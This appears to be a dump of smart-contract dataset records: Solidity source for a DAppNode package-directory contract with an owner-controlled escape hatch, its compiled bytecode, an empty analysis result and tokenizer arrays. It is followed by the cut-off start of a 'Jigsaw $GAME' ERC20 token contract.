contract ERC20 { /// @dev Returns the total token supply function totalSupply() public constant returns (uint256 supply); /// @dev Returns the account balance of the account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); /// @dev Transfers _value number of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); /// @dev Transfers _value number of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount function approve(address _spender, uint256 _value) public returns (bool success); /// @dev Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } //File: contracts/Escapable.sol pragma solidity ^0.4.19; /* Copyright 2016, Jordi Baylina Contributor: Adrià Massanet <adria@codecontext.io> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @dev `Escapable` is a base level contract built off of the `Owned` /// contract; it creates an escape hatch function that can be called in an /// emergency that will allow designated addresses to send any ether or tokens /// held in the contract to an `escapeHatchDestination` as long as they were /// not blacklisted contract Escapable is Owned { address public escapeHatchCaller; address public escapeHatchDestination; mapping (address=>bool) private escapeBlacklist; // Token contract addresses /// @notice The Constructor assigns the `escapeHatchDestination` and the /// `escapeHatchCaller` /// @param _escapeHatchCaller The address of a trusted account or contract /// to call `escapeHatch()` to send the ether in this contract to the /// `escapeHatchDestination` it would be ideal that `escapeHatchCaller` /// cannot move funds out of `escapeHatchDestination` /// @param _escapeHatchDestination The address of a safe location (usu a /// Multisig) to send the ether held in this contract; if a neutral address /// is required, the WHG Multisig is an option: /// 0x8Ff920020c8AD673661c8117f2855C384758C572 function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public { escapeHatchCaller = _escapeHatchCaller; escapeHatchDestination = _escapeHatchDestination; } /// @dev The addresses preassigned as `escapeHatchCaller` or `owner` /// are the only addresses that can call a function with this modifier modifier onlyEscapeHatchCallerOrOwner { require ((msg.sender == escapeHatchCaller)||(msg.sender == owner)); _; } /// @notice Creates the blacklist of tokens that are not able to be taken /// out of the contract; can only be done at the deployment, and the logic /// to add to the blacklist will be in the constructor of a child contract /// @param _token the token contract address that is to be blacklisted function blacklistEscapeToken(address _token) internal { escapeBlacklist[_token] = true; EscapeHatchBlackistedToken(_token); } /// @notice Checks to see if `_token` is in the blacklist of tokens /// @param _token the token address being queried /// @return False if `_token` is in the blacklist and can't be taken out of /// the contract via the `escapeHatch()` function isTokenEscapable(address _token) view public returns (bool) { return !escapeBlacklist[_token]; } /// @notice The `escapeHatch()` should only be called as a last resort if a /// security issue is uncovered or something unexpected happened /// @param _token to transfer, use 0x0 for ether function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner { require(escapeBlacklist[_token]==false); uint256 balance; /// @dev Logic for ether if (_token == 0x0) { balance = this.balance; escapeHatchDestination.transfer(balance); EscapeHatchCalled(_token, balance); return; } /// @dev Logic for tokens ERC20 token = ERC20(_token); balance = token.balanceOf(this); require(token.transfer(escapeHatchDestination, balance)); EscapeHatchCalled(_token, balance); } /// @notice Changes the address assigned to call `escapeHatch()` /// @param _newEscapeHatchCaller The address of a trusted account or /// contract to call `escapeHatch()` to send the value in this contract to /// the `escapeHatchDestination`; it would be ideal that `escapeHatchCaller` /// cannot move funds out of `escapeHatchDestination` function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner { escapeHatchCaller = _newEscapeHatchCaller; } event EscapeHatchBlackistedToken(address token); event EscapeHatchCalled(address token, uint amount); } //File: contracts/DAppNodePackageDirectory.sol pragma solidity ^0.4.19; /* Copyright 2018, Eduardo Antuña This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title DAppNodePackageDirectory Contract /// @author Eduardo Antuña /// @dev The goal of this smartcontrat is to keep a list of available packages /// to install in the DAppNode contract DAppNodePackageDirectory is Owned,Escapable { enum DAppNodePackageStatus {Preparing, Develop, Active, Deprecated, Deleted} struct DAppNodePackage { string name; address repo; DAppNodePackageStatus status; } DAppNodePackage[] DAppNodePackages; event PackageAdded(uint indexed idPackage, string name, address repo); event PackageUpdated(uint indexed idPackage, string name, address repo); event StatusChanged(uint idPackage, DAppNodePackageStatus newStatus); /// @notice The Constructor assigns the `escapeHatchDestination` and the /// `escapeHatchCaller` /// @param _escapeHatchCaller The address of a trusted account or contract /// to call `escapeHatch()` to send the ether in this contract to the /// `escapeHatchDestination` it would be ideal that `escapeHatchCaller` /// cannot move funds out of `escapeHatchDestination` /// @param _escapeHatchDestination The address of a safe location (usu a /// Multisig) to send the ether held in this contract; if a neutral address /// is required, the WHG Multisig is an option: /// 0x8Ff920020c8AD673661c8117f2855C384758C572 function DAppNodePackageDirectory( address _escapeHatchCaller, address _escapeHatchDestination ) Escapable(_escapeHatchCaller, _escapeHatchDestination) public { } /// @notice Add a new DAppNode package /// @param name the ENS name of the package /// @param repo the AragonPackageManager address of the repo. /// @return the idPackage of the new package function addPackage ( string name, address repo ) onlyOwner public returns(uint idPackage) { idPackage = DAppNodePackages.length++; DAppNodePackage storage c = DAppNodePackages[idPackage]; c.name = name; c.repo = repo; // An event to notify that a new package has been added PackageAdded(idPackage,name,repo); } /// @notice Update a DAppNode package /// @param idPackage the id of the package to be changed /// @param name the new ENS name of the package /// @param repo the new AragonPackageManager address of the repo. function updatePackage ( uint idPackage, string name, address repo ) onlyOwner public { require(idPackage < DAppNodePackages.length); DAppNodePackage storage c = DAppNodePackages[idPackage]; c.name = name; c.repo = repo; // An event to notify that a package has been updated PackageUpdated(idPackage,name,repo); } /// @notice Change the status of a DAppNode package /// @param idPackage the id of the package to be changed /// @param newStatus the new status of the package function changeStatus( uint idPackage, DAppNodePackageStatus newStatus ) onlyOwner public { require(idPackage < DAppNodePackages.length); DAppNodePackage storage c = DAppNodePackages[idPackage]; c.status = newStatus; // An event to notify that the status of a packet has been updated StatusChanged(idPackage, newStatus); } /// @notice Returns the information of a DAppNode package /// @param idPackage the id of the package to be changed /// @return name the new name of the package /// @return repo the AragonPackageManager address of the repo. /// @return status the status of the package function getPackage(uint idPackage) constant public returns ( string name, address repo, DAppNodePackageStatus status ) { require(idPackage < DAppNodePackages.length); DAppNodePackage storage c = DAppNodePackages[idPackage]; name = c.name; repo = c.repo; status = c.status; } /// @notice its goal is to return the total number of DAppNode packages /// @return the total number of DAppNode packages function numberOfDAppNodePackages() view public returns (uint) { return DAppNodePackages.length; } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631f6eb6e7146100eb578063226bf449146101425780632af4c31e146101df5780633592dfea14610222578063666a3427146102b5578063710bf322146102f857806379ba50971461033b578063892db057146103525780638da5cb5b146103ad578063a142d60814610404578063aa6ebdcb14610447578063b99dfe1814610472578063c5a8a2ab14610560578063d091b5501461059a578063d836fbe8146105f1578063f5b6123014610634575b600080fd5b3480156100f757600080fd5b5061010061068b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014e57600080fd5b506101c9600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b1565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b50610220600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610878565b005b34801561022e57600080fd5b506102b360048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a20565b005b3480156102c157600080fd5b506102f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be2565b005b34801561030457600080fd5b50610339600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d15565b005b34801561034757600080fd5b50610350610e30565b005b34801561035e57600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103c261102b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041057600080fd5b50610445600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611050565b005b34801561045357600080fd5b5061045c6114ce565b6040518082815260200191505060405180910390f35b34801561047e57600080fd5b5061049d600480360381019080803590602001909291905050506114db565b60405180806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360048111156104e357fe5b60ff168152602001828103825285818151815260200191508051906020019080838360005b83811015610523578082015181840152602081019050610508565b50505050905090810190601f1680156105505780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561056c57600080fd5b5061059860048036038101908080359060200190929190803560ff1690602001909291905050506115f6565b005b3480156105a657600080fd5b506105af6116fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fd57600080fd5b50610632600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611722565b005b34801561064057600080fd5b50610649611819565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070f57600080fd5b60058054809190600101610723919061183f565b915060058281548110151561073457fe5b906000526020600020906002020190508381600001908051906020019061075c929190611871565b50828160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550817fc52f09bbc3d865a783bf98878fafca874a29e04661f51607506da2656388ec8b858560405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b8381101561083657808201518184015260208101905061081b565b50505050905090810190601f1680156108635780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108d557600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156108fb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7d57600080fd5b60058054905084101515610a9057600080fd5b600584815481101515610a9f57fe5b9060005260206000209060020201905082816000019080519060200190610ac7929190611871565b50818160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550837f24734e6bb74472bcad6da1691939d08b80afe5f7dd1603fb5051a2001c36f58e848460405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b83811015610ba1578082015181840152602081019050610b86565b50505050905090810190601f168015610bce5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a250505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3d57600080fd5b610dac8173ffffffffffffffffffffffffffffffffffffffff16141515610c6357600080fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f94e8b32e01b9eedfddd778ffbd051a7718cdc14781702884561162dca6f74dbb60405160405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d7057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f13a4b3bc0d5234dd3d87c9f1557d8faefa37986da62c36ba49309e2fb2c9aec460405160405180910390a350565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e8e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110fb57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561110657600080fd5b60001515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561116557600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415611277573073ffffffffffffffffffffffffffffffffffffffff16319150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611206573d6000803e3d6000fd5b507fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16114c9565b8290508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561131557600080fd5b505af1158015611329573d6000803e3d6000fd5b505050506040513d602081101561133f57600080fd5b810190808051906020019092919050505091508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561141757600080fd5b505af115801561142b573d6000803e3d6000fd5b505050506040513d602081101561144157600080fd5b8101908080519060200190929190505050151561145d57600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b505050565b6000600580549050905090565b60606000806000600580549050851015156114f557600080fd5b60058581548110151561150457fe5b90600052602060002090600202019050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115ac5780601f10611581576101008083540402835291602001916115ac565b820191906000526020600020905b81548152906001019060200180831161158f57829003601f168201915b505050505093508060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508060010160149054906101000a900460ff169150509193909250565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165357600080fd5b6005805490508310151561166657600080fd5b60058381548110151561167557fe5b90600052602060002090600202019050818160010160146101000a81548160ff021916908360048111156116a557fe5b02179055507f365a3d0a71be5f440c8224437355d5bd81a703759bf906e441902272bfbafcb38383604051808381526020018260048111156116e357fe5b60ff1681526020019250505060405180910390a1505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117ca57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156117d557600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b81548183558181111561186c5760020281600202836000526020600020918201910161186b91906118f1565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106118b257805160ff19168380011785556118e0565b828001600101855582156118e0579182015b828111156118df5782518255916020019190600101906118c4565b5b5090506118ed919061195b565b5090565b61195891905b8082111561195457600080820160006119109190611980565b6001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160146101000a81549060ff0219169055506002016118f7565b5090565b90565b61197d91905b80821115611979576000816000905550600101611961565b5090565b90565b50805460018160011615610100020316600290046000825580601f106119a657506119c5565b601f0160209004906000526020600020908101906119c4919061195b565b5b505600a165627a7a7230582010094e4d229f89a3e667cc866f38b9207f18bb7f74218d2e300bd275c6d52d850029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2094, 2683, 2278, 2549, 2278, 2475, 2278, 2581, 7875, 2629, 4215, 2094, 2581, 2050, 2683, 2683, 24087, 2509, 2278, 16576, 2063, 18139, 12740, 29097, 19317, 2475, 9818, 2063, 2683, 1013, 1013, 5371, 1024, 8311, 1013, 3079, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 1013, 1013, 1013, 1030, 2516, 3079, 1013, 1013, 1013, 1030, 3166, 4748, 4360, 3742, 7231, 2102, 1026, 4748, 4360, 1030, 3642, 8663, 18209, 1012, 22834, 1028, 1013, 1013, 1013, 1030, 5060, 1996, 3079, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 1013, 1013, 1013, 20104, 2491, 4972, 1010, 2023, 21934, 24759, 14144, 1004, 1996, 7375, 1997, 1013, 1013, 1013, 5310, 6656, 2015, 1025, 2023, 3206, 2038, 2093, 2147, 6223, 2005, 1037, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,863
0x95d9cb358d28b446f0bd01232b770510edbfe334
/** Jigsaw - $GAME Social Links: 🌐 Website: https://www.jigsawtoken.com/ 📱 TG: https://t.me/JIGSAW_ERC 🕊 Twitter: https://twitter.com/JIGSAW_ERC */ pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This 